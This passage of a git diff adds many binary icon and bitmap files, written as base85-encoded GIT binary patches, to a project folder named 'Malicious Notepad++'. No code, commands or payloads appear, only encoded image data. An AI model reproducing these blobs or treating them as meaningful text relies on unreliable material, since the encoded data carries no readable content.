zqe8sA&_$b8!ys)MvQLB+(Us*qU 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 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/openFile.bmp b/Malicious Notepad++/src/icons/openFile.bmp new file mode 100644 index 0000000000000000000000000000000000000000..515e7041fc322dea8c630e7e935824b0a21a3938 GIT binary patch literal 1080 zcmb7?EpNjx5Qe>JY-HLm7#uB`Ryr7Iq_DJbFfcSQ&@ePGurSon(9qP-(D3%&#m>5= zjWkP7;>LOIEB*Ld)>3N>S%-O{X44$Vwny5-FN^Ca@I0=8Qs(+&fPbLsVi;`}ki#h3mOm}h^QqQvKSw&3`Z|2+54vuB@c9s!>ba!|mxUa;5$4@!Rc z*H)Nx_OruYalMiLI7c;kI+?KIs?T}hCO0iUa?Ahl?|tQ8xXFzu-=oJPm%i7@Y9%_+tvXna#i%RU;cg6>vOxBX7YPYv%aEoE@{~x4#E5RFs>+$N zps+;@iF5;#C&WM#!E7-AQY+s6KRXEt*f-SHYdbu@_p|-kM3Hi=TU&~kzkZT_;pkUt zi~3CE#2;CjKgPRclUq7glaSBNX0l_;p@zeuhBre+-~Ln>nfen`D>PL{rozDF1tz)b z+(`8csd6e6Yf`?XaEc$}d-yiKhA(3esD1n{eh2U2H}H(x@8eteD!zdCuyTbLUU=bE z(iA_&_wa3e4PV9|;P>&n_#M25-@r%s2|mP+@B@5+5AYp)9bds0@p-)A4R3hE8{Y74 zy@8fszJ9rPj zfoI%)AK$`P@ddnxPn#WPZHgb`d-yiKhA-m}@cYc>F0;AAYaP_!hp3FW^0V)&zw%#gFkld>hY9TN$4|L7_$X2|mP+@B=)PlQBUd z6VazyRFx`F9+fpg4-XHzzrWY@^|h|9u5@{Msq^!51wo**vom!%9i5z=RH?_XLuIL}rA78)nf868^ap!eA_x8F&*7#D~r~kb? z$BC9y`w!XpQT@1`}=&6-W}8aHeX7QecD&^<+S1Z zv@ho?X`>OhFXizaxw|?(Zm=ZnuX#lBn$Fu7IfE~!^Y*2DF|r%I(RCO9dVQ`vId78s zk-PZid^MeQ&+jkFNEdlLYJ6TlTJ$c)kLGdrO*-qJBJU`0XQh zsaCElzWG^ulBVR3$;;__-IDaU?PE9IMDt`df8?sVZu4eI`cs0LOGbXzwiv~oH#?QS zpDu=ZdthdNQ@@+Na8^y}2WpL< b7;9_N&mSqiX+D`g@U`=s8E3FH>Z93z7QPo@ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/open_on.ico b/Malicious Notepad++/src/icons/open_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..44d5a342ac43a83ed981ad59f7bf6b7f95d72026 GIT binary patch literal 2238 zcmbW(F>K;y7{>7jwNg6ywo{3aoW)TyhCOLV!o-rWGagbFHkPAHMvxdXMmL)if3_izK!>yS+9uEM{cJwl5mJtIXGh8M_b<{%j(($d zs6VKj_#;c}=VX^|a!bc*5%Rg!N_T8I)NnY|@P4THpT88vrvB8_j!gBDsWdPJp-HZ~ z_fqpps+~*ahE%L5n&HRz9=?Nb;H%hU>Ii>;-^T~|Jf3m;eS8~V$CvN{R<7{E3opDX zn&HRz9=?Nb;H&s!{1N^DzmE^_d3=nY;v@VBKfs6h5Z}c&@ilxIU&I^U@P;?M;SKNB zd)6z~bJhlHCGjzSijVLk`~dGp57Aw86J0}>(M86e;m7zMzJqVztN3I55&i(bj}P#9 zJmdEJ_%^03YH* zd>7xu*YIV05pQ_I8{Y7SH#`?~&+WS6cAay(8r-f*MT+rLe1sq22lx=b;qlQ7KgRd) z9ee{{#cz0g7&lTM-^SPRC47M2G(nNg@MC-r-@!A}R>iNMpvYqU6d&P7_yL~D*)Ty7 z6Va#IRGlhO0kvs@o}Qlc`1q*1yF1<7-01rHT9=oX3d2wr7Z>VwyE;2NQ?uFB>FKFz zwVF;&PE;*-Cb>OZ_D#M#otU{zkK06Zt;Y;^SYgTdfg#waw+c94=;In zn|uA++q}OqC;gPq`;+zkE~Q=G+B{8fXlJ>Z*O_Gg2PgZl|swQspW=Z?k1er@me%H1b#hrI^%1iyf z>0+3-2WIv!^{3fO&g_|bpjtV5QO=&J2dbsq3qK>iXZ6h9Rh-oWdsoA(TGCI{7C$kz ZwxkbS_6L)GH~q@LozG^R!L}&h>_2b%SZ@FT literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/paste.bmp b/Malicious Notepad++/src/icons/paste.bmp new file mode 100644 index 0000000000000000000000000000000000000000..88d79d87ca135290ac47a8e440f6251c59ab2e4b GIT binary patch literal 1334 zcmeH_uW#Ex9K~PMWT{$3+2;NJrOs-mB}%PSm6D|cTO3qNX{9JG2n`H0G&M9dG&M8~ zj1**e@Sv&TK|}AIThKpYpilbvec$^Yxs&b1xP@BdCh(Kf%SReGepoaftp4hm2+v05 zI}jxEmk@zwja|6G;c$SUi%7GDh&_nJgG_zoM5X~ffZB&pS%mMK82xRGOHX@3Phk5A z9I^~jtiu$g)a=L}Wxhw0W{7qfs+<%VoKRpH2_$=glw?A1M+)6bEMtkaCXo@YF@2v#jB;&VBP6^W3tmi!S$!U)+{)Gag%3 z*X`@A%l*xiMb|Y=^Q&vVJ~5o>ROec+j@yQFeLbCayPeMI>5G$g+qnC4S!*~m^i|%@ i@2*yh#p=qQztQ=}C*%F<_ICBo_kC2^Mka* zIh%FQq+h?0*4L!(7-#7}&@=kTqg2OETl((lvpPY>^?G{Zk)e9M9%mP@=kY!^`DEdR z7hZT372yZ?Hol3k;!F5L{DFqr!|&pK{3brekMJSBkMH6Ge1LD^Yxpw0fY0F#Z+OES z-tdNZ$B^TK;bxkuA$550y;-%Pgh}ySMeqMA^rfrM>Th;rcX6D@iBgc5Al6` z7a!mQd<$R0m+=LB&V9$>4R3hE8{Y6NXvl&txLv2*t}3^ySd?P?2p{76_%1%cuh>3{ z@B@4s-^5q(CH#u*L*7swd;?#>=kY#%Re?f_@B@4s-^5dCE8*WRP-roJgb(q3d>2n~ zRum|t5FL7hUZLmdK7Cbz9v&WadwZ+v>uX(IUFq`jQs?LA3W7jqXJ=})S~@v7QLR?f z@$s?B<+6^Bj#MZVw7Nx}Fwnt%6Vn4LSD zd?D;|NUw9hgp*>YGa#l*^CtJgr)?T_DbkgDy1&1lh8HtHxvIlL$g2lo$?bsWA?0YZHDt$1L}T-eX+nHHIGN4W4h`a3=2IetcBswn3ca+iD}tm}{liyAr8rl%AHv#L!WZY~pPN37c4&EjF9WP|+Cd zSPMwDu$sz{tbxQ_$3z=8XZ-K?&B!9kxXCtK+|KZr2mjCf=e_?tMx~TqD3f_DxBdG< z+TfVUxKGkQucYNA=@0rD+F!JkUh*#0u+uF*d-|zHkbbQeA9$y$Znw+P1uS~W%=KvO z?ko59d;4EkfHm+-xA}F>;%BS9d~i!r5BjWY_gb{hyMwO6&mR?pruNWO4@~8rDc3Q1 zKI`1I=0K{RN~I$yUy-r}1tWYP-@-TW6?_r9OWVP3;WzOfeicvNb{k*Em+?8ghmC$& zc;ST?UImTteS8bwz*q1^{4Rb+18w0q@g9B^AL57j0N=xR@IKzhH}O?`37^Mj@rF0N z;SFzi!@GUJe#(BtUSTgpKEx040ltUt;9Yhf-9%T>C3GI0CI1ND$G7ked<9>`@8Wmx zTlh`9hhN2$x826q@nw7t@8N}iTpg-5!uRnld;?#>7xBCJ9sCy6+@zWw)m+7g_#r;P z_wXIOkN5FSd=+29=kZzhjKdq=@P;?M;Th0?0iANYj<{VFZdaioh4>*p!1wSSypK;< zJ{sZs_!ho_ui%ULgylotKy7>-U&iO~9zLl+fsOEed<);eQ)w&W7Z)h75I@8R_#VE4 zr#J}(3MfRIR;QI|IhsdHD$w=ywXUwNba8Q^^Ye3^ot^3A-hLs&1O@Fhli?G ztJ>e+SE*Fe-rk<_`MkEbx0TIiwXw0GwY4=ZFE1Lx)9Y!C_EEEFz015a|qVdmz>K!z}!o5_8c3=v=!bHkj5CsQzAq**vU zc^hYV299Z}q25w8GubF0*+J1t$B(xKH>zFK#kYt6QA D797~H literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/paste_on.ico b/Malicious Notepad++/src/icons/paste_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..9747508073a10c0ca5f733461e5819bf9700b8d2 GIT binary patch literal 2998 zcmeI!F=!%L9LMpWn+3N@F2xlI0c|E+8~fz0G*&i=y{(YO&PrIwbqW?K!xqc3jFn9= zotHx4id2I|7}%f?wj5G2x@|fW;4)xe=Yi zz2%;Mw*Pen*aJVb&F*tHKdt(9>Xsy?#_VhNShUYOVMo#5pACm+=Ms5&lr2_VIgo55I+v@B@5+@8a8dAMfKE_zJ#=&*3w8!yDf4 zhBv(7-4SwJa-4CLIr6cO@B@5+@8a8dm)%D<&=qtMokM5HKg9R&O?(|+#uxBM_(S|Y zeh=^AxA5d`weU5337^G#c;V-(L)C`(9=?gMpE6JN(uX)E9t7bvg@Kfnk0F20SY zI72@2MlaE`bdSEQK==3ey1Tp6&CQLjudj7=b)}1o3;DjU^Ye2x8V#MEo~lx* z=;Y)?#bQy%$H&U$aymFTP$rYn?(VL(x3{&vzOLwB)5i}VzT^K?iruubrB;f5U#S(M zPg?<881UMB{|K{lS6m%u(1PS~ zvEvEc9M5x)QgSyUZj)#XSe{$jOzCGp9G=@k(_r$!mSz~=el46r{mnR6ysp<7So5X> zPYa(1alrvkVK>F|kXc=rYd5Ff`|(4wFZ@pVlb$epQ~W)fRjSy@w2S&76Vk(EuVkS9;po;*2O z-d&;GFgR3S^7Z}SyX&QCZn>U6L)Y8_ekj>z8fcdbjk4*d%0#-daopHot^?+MgZVRX zg82*T3uIXa9xTBl#R_@+3m$I>7x~tOAb9LS>^$UqA3_sA90Eup3`5Ehh($ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/playRecord_m.bmp b/Malicious Notepad++/src/icons/playRecord_m.bmp new file mode 100644 index 0000000000000000000000000000000000000000..bfb62cdd81ee9599f5a7a89be8c07e127bd8ea31 GIT binary patch literal 1334 zcmeIwA#B1x6b9g*ty_+&o{(tVSX_{MoE^c6F;Q{ZI{F5F;yU+v1gBB?B6l)*HjSm$_sPGLc z`hX@XTGDfgvMizF6?DqhsIo8UY(oN6+W>~>EQHyGsP++z6~i22)Fep~$|>a(CeKjk zThzr4^>L3{9Y~IEU7%^2PWKPGJMhnUK>RiGa%i)>IKWwot4CqAYf@a_4lUQcX@AIE xznjeZ?7_ZEiu>7oz`Ro*y^Nli+drPn1#^A+Dg<-=nG$o|#&iGm{pVGiegIR|&{vQUN(eQeUK*T$oPghVj3Y8| zjiWd-2ayxrg)uU&j6u%KA~)8$?YaWbX3Lk)T01uw+3klPzEoeZqWZv}?i05c(x{a3 zIc{T&UZsLh2og$_I{w3%Mx}+XQEBJrRoeLwFwPxY_Z3T_tCJ2BOyNL4|kjF zqu7wdhL=gc18?RW^1-R&BZ~PPV%plT;48^qtCX+FIsS?wejKRuJ3n72O?_N5R!(2} U;YaJve^g-EC@+!YFUL~v4Vf6PsQ>@~ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/playrecord_m_dis.ico b/Malicious Notepad++/src/icons/playrecord_m_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..bc02bb8b53a626b6befd645374d534edf338aaef GIT binary patch literal 3262 zcmeH`!41MN3`N~L5;w##N5){nvPOnr1Xf@NHV9v_WTLnvjw>Vtb(_dd>-VjnlxV^g z0_BK1q64xMM!+~@OmxJIz`HH}+JW2ZXxo=kx~~XyH^i5ZjhYVre3@~xP*=slhhs5D zql%A@Do9vVjC`>j3HnFXHAh#)&KE;UepkiLXWOg(ncq+u;`7J4f2O@_4o9o+nE#>mykwo=ZozPnto;E>q6toH}H8+eRH>ewtbs_#)0~rJc#z69JSsPfOKVG literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/playrecord_m_off.ico b/Malicious Notepad++/src/icons/playrecord_m_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..3d2f464c7b1085a576fde8a135f0ce6fc2038643 GIT binary patch literal 3262 zcmeH`%?-jZ429i05;w%LNA6vKY1k}Uv8w#fr^*^^f^Oz`@>(bNcQn(?E0vP=gXqjpLquL5H5kL uuH;vcS;)>;KaT1%b!z0NUN2t%20njN-(KvWZQu5vaX`<>ooN5b)Orse5nKKM literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/playrecord_m_on.ico b/Malicious Notepad++/src/icons/playrecord_m_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..78a92116f11e8e3ccd94056eeb2e4dda964c4219 GIT binary patch literal 3262 zcmeH`!41MN3`N~L5;w%LNA6vKX|hu{V3-cW2I)@?R!B?YI6^|u;6$c{_pL`E>hS7& zTGs7AbV7H*?y;}f9i4Gv;oiRf+JN)EvGV%7_ftb*wkp1SSQ%>J4-=u5RZKDPVQg?d zL?}{h{Ba5qniM5pw4=fN;JYzYF{Oh46cY1`DSG}x`|JG7&!klGp(XLdWL!t_Vw3V* zHS#lLjxh7rWK1q&OJnB8Hr~lWij5CAd(M!}ew1Vzf300qZ#K1lV(pv2%?2eEv;sXK{YkzMns1Abn2mM8{9=G;ap{Ie-lS literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/playrecord_off.ico b/Malicious Notepad++/src/icons/playrecord_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..494a980bf08522fde4591677a11d7cfb7dce7ddd GIT binary patch literal 3262 zcmeH`!41MN3`N~LQg4W3j@-Kd(=Z2XWCMoD3f+MX%x@!cXo7KUxRAPWR5jB3?zclU z;0b}&xF3j)csnBl@`4=bgq`Syvpu?YAh|=fkC|sjpt^qeuRqlr*5nWP@j78;A&p8a zAMH+Ykx;4__{hb&n4Mbf7!uzWCLGDRZpAzsS@OmJ@D77Y1}^glLuzs|Hgsspgf4iU*=Zt39DG8 An*aa+ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/playrecord_on.ico b/Malicious Notepad++/src/icons/playrecord_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..3a5eb58a8a34ca3bbea306fc64a3cfcebf672178 GIT binary patch literal 3262 zcmeH`!41MN3`N~L5;w##NA6vKX)*_EbOVOTFx|lXG>Ai^7{?YDQrAwaMta}`VxdK-uT`BJ@OUH)YLoN{iVQR(I5 zch8aaDhB?NvV>B_#*YglH7XvyM#ayURs4MX4rGaXt~`91T&CB?*N{E@mK*hnGxQI5 v?Q>1G^{*!z_^l>|_g(%7oYvL|{P*EB-M;!$2Ig4*#)18qtVHKu)?V)g7I)eJ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/print.bmp b/Malicious Notepad++/src/icons/print.bmp new file mode 100644 index 0000000000000000000000000000000000000000..488abf8303b0c9d35c8bf305211ffab89e2aee94 GIT binary patch literal 1334 zcmeH_zi*pB7=~ZVB_tA7Vp>{i<(C~Ij9nc=D_vE5=T$#djHQ&R7C*bzeP$cakM0>_Ft2oyy@T|g8i zin2sWG>4Mbh`K~oRcPvpX4wbSbxln)HI78nG}OdVa{T1;4gSl2KvmV=M@R;`)(a@U z|MItouF-$A%+a{bsAJthx2#*!H2T_Qx7)WY=(aszb{l5ecE@1s);s%vv97`S$YX81 zN6s~qb2d9?%DFyZGvgz(sixksi{KCC*CbG;`cQo`TX!c;plA{qRG_vhEszVa$B^!vy4N!9yrSCotIt^Nbe4&U4W literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/projectPanel.ico b/Malicious Notepad++/src/icons/projectPanel.ico new file mode 100644 index 0000000000000000000000000000000000000000..a71e54f3d7635a4a7ee843dfb6a97872d0e5b629 GIT binary patch literal 1366 zcmbW0ze`+E5QUFmUPvb_L((#>=`Ehm zr8V6c`E&1%?7cV!}{hC@>Tl3Ji%3LxG{dP+%x9lt6={z)>0p zwS_7vjNV`|SPYhYWmpVz!^qgwV97EtXgnA!21}L&4uiwsFgOg3EEOCEgTY`hw9*+I z27|%idG0gv0~Owtd0A?_D@+yBia~{`;$0c6cvrkD-gzA9jgEiCzvADH zsN!F#O@*PtP^m*ZHmZ_ukHVe49V0bx{2Vri!|}_bZ5-6V;qb=6i{){%$YF6<90rh0Y{La9H@!*oQN5SiIFES=!goP5}*ufFWQA7y^cXAwMS=9EN})U~m}NhQ@pt z0)~JgU|?$+It&3rzz_fg{?2B>!eElIhmji`k$bl}rWbmz?d@&t?CfZFcUSxS`#L>6 z)#2fx&d<+vd3mX;t1I2y-01%PUJnlsy2v;p_6X^MKkY2Yk2~aUINTZx2HjES$9vt@ zTjEJRe3FkD|0_Qk|IRPk`it?n8w}ZTtIK@m)=l$;Sv=;~kFn4lxAn8($Nb6q6ULv! I3HkrVFQ25-VgLXD literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/project_file.bmp b/Malicious Notepad++/src/icons/project_file.bmp new file mode 100644 index 0000000000000000000000000000000000000000..17ff75e0cf767f53d7ad8141c663ca6dbc0f1c49 GIT binary patch literal 822 zcmaiy%WA?<6h%`yFCF$1`UQSK=lx74B8uQ3glL0lw2hApQk5Vfpr9xb<6CP7UF6ze zlhkgwcW~}HJNq1cdd}QRp)%Z$ocr^+ksiXj#QW==IHDj)nx+kh!)CMjepRhj3k(^1?s5`3hsAzxYn4W11$0x~{)yTBTA^RaH@x-EQ}b{A4m= eT@g$Rex?q)WUrx&k)5x|{J=i8F=8`gc0b@@5R8E@M!OswAr zuL|I?*uwUUxh;C{Qg#M(%BNAjPy1mJ%}D;s2sGj^J^e4vfQZJ*6S&*$F6=PjMB5wD zr~SGssIPKD0_R4ffz2Q>E6Z{wlVMrb{9ZVqgfIzApk1w2!B;AkbUJOq f7|G}JcnZ^h&;dQeFoQ7oa=DC=QGe%tHw6Cx^>T=a literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/project_folder_close.bmp b/Malicious Notepad++/src/icons/project_folder_close.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a00d454c85a3ce68acab6dd3efa733b998b16318 GIT binary patch literal 822 zcmd6j&ubGw6vtP*i%0(g=}A0DA*8e_Lh&G8#2=uCS_&$`LWF>#Xu*h3sRUD{s4Z;; zd#F8Bd#HG*HHS9UW^JPRG21n5nwkxEw>vvKyV;$c?XLJ4dwqfJrw(xOh9J!S`xr~BvFXkB1UUAj`1kBDhMtz${Y7{@OBnPSM-ReU(e|Cb-QB_a6bG3Xbv4!8i}giw`N6U++8xy zH~sL^b{e`2<9yp|03GlBmh(nw3~t)-bt@+09$;R`qtiJf{2d-$*1t0T zWz&BgU_uulnbq9MKhCRKqrYO^E#ruUuN2L*KhdeIAsQq+*5oGu^?lp(vFDq_HwZ0Y zl4OG_R_qtP2F%L^lt(1|HsC|=Kn=Ueoc4HGz4cjHR4^ozonm#HP|c;POPOKYRKOpf zl61#Q%H}f(_5FZ1(p!k{?dH8>&tp~ Ss>1VXs&alVu;Re~Tz3G7zD(i( literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/project_folder_open.bmp b/Malicious Notepad++/src/icons/project_folder_open.bmp new file mode 100644 index 0000000000000000000000000000000000000000..5aae97e6b820afd68cb554bdc55ad1af40d95041 GIT binary patch literal 822 zcmcJLu}T9$5QbOm#nMOc1q{|=Yn3jwZxCO=QqaoO+E@vqA}CnID-IMpC5YMtjcDYE z5zQshGdVxcPt=YAnCEa7OuH?1R75&!@I literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/project_root.bmp b/Malicious Notepad++/src/icons/project_root.bmp new file mode 100644 index 0000000000000000000000000000000000000000..f47dbc553007e320ca526514c26a18569ea19c8d GIT binary patch literal 822 zcmbu7uWrLI5XLi&PlJ1eJwYF!u+qq2Y2aXCX<=btXkcMrq)Ag~prN6u;lb?p`O>V~ zrjc28Q2Xfky%JFO zq$#_bLFh)Fp1LGcD6MO%d-VLglXX`U>fFqwaN!nc?~ZRp;bkUiDGyDEdXl?QGq z3*1-|u(rs5RiXcie81&+zRU7_mw-vA*$tupi2y)d5cP+eB7n-*r|Yau(FP(QJ8X4q z;IeR^g+cCfd|YODI!ti|3NFw0gQ!2!76nm%c76#&z4!cpf|J!ilz*Zs?|6mXWM`m) z6@~r~^+(&Hq3RcuLe%>$4kAqMX zmmt_v7Yb2-WgVoRZa_b-n-9ChdfaU-d9Bhezs6RIu zs{ZYfIbejvBB1(XJ&DNbfgO-lk%6ow~Swh7v_cfLUp1r^bSA&O|CxDiDZ*KS;k{u1#o6cI!bQ4B;94I(s7 zAEQ##%AJe0y>rhnM2Ob#-pje~JolV?&pkK{ZFB4kVU{s=ow3F3GoQo%y&W24aNPC( zzgWzSM$JgX42LIyfZ_KWUhku-j#YJ}C=ZHq&osnLx#RJtrS-K@E}ux)yda$M{3(Q( z<=18TRur$8e+(0~D1S2fOnkFBCti}YYIO!xD${a#>hT-_P*t7yRO&acD8qVvR;xK% zc>aX(W8%~47c3>|rqy~A#S6qJ-Du3+ErM_k)8{jY&tz;K<=X9coSDTVz%GwlzzhZ_ z#AmZMkA9+)NP<`tFIhiz^hB2La2=TFHu1UKE0!CDHzGctxA}g5u|@#!OvD!oHa{3F zG;O(3$O8b+M0~Mm5sxj<$|?YG?4LZG_3Cs!TplGzI2#GeQprM$+ad1tKD%9qr(J)X FzX3E!{mTFV literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/readonly.ico b/Malicious Notepad++/src/icons/readonly.ico new file mode 100644 index 0000000000000000000000000000000000000000..b545cbc8b113cf65f93b29c53c76c100a727f1ea GIT binary patch literal 1150 zcmbW1v5JF06h&uYKOoiCTkdD1Oc5+C$cPy 